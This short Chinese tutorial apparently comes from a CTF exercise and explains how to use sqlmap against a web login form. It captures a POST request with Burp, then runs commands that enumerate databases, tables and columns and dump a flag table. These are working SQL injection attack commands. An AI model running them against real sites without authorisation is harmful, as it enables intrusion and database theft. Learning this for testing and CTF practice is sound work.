一：三种方式 sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables sqlmap.py -u 登录的地址 --forms 自动判断注入 sqlmap.py -u 登录的地址 --data "指定参数" 二：演示 （1）目标地址http:// www.xxx.com /login.asp （2）打开brup代理。 （3）点击表单提交 （4）burp获取拦截信息（post） （5）右键保存文件（.txt）到指定目录下 （6）运行sqlmap并执行如下命令： // -r表示加载文件(及步骤（5）保存的路径)，-p指定参数（即拦截的post请求中表单提交的用户名或密码等name参数） sqlmap -r okay.txt -p username  //获取所有数据库 python sqlmap.py -r okay.txt --dbs  python sqlmap.py -r okay.txt -D skctf_flag --tables  python sqlmap.py -r okay.txt -D skctf_flag -T fl4g --columns  python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump  （7）自动获取表单**：**\--forms自动获取表单 sqlmap -u www.xx.com/login.asp --forms （8）指定参数搜索：--data sqlmap -u www.xx.com/login.asp --data "username=1"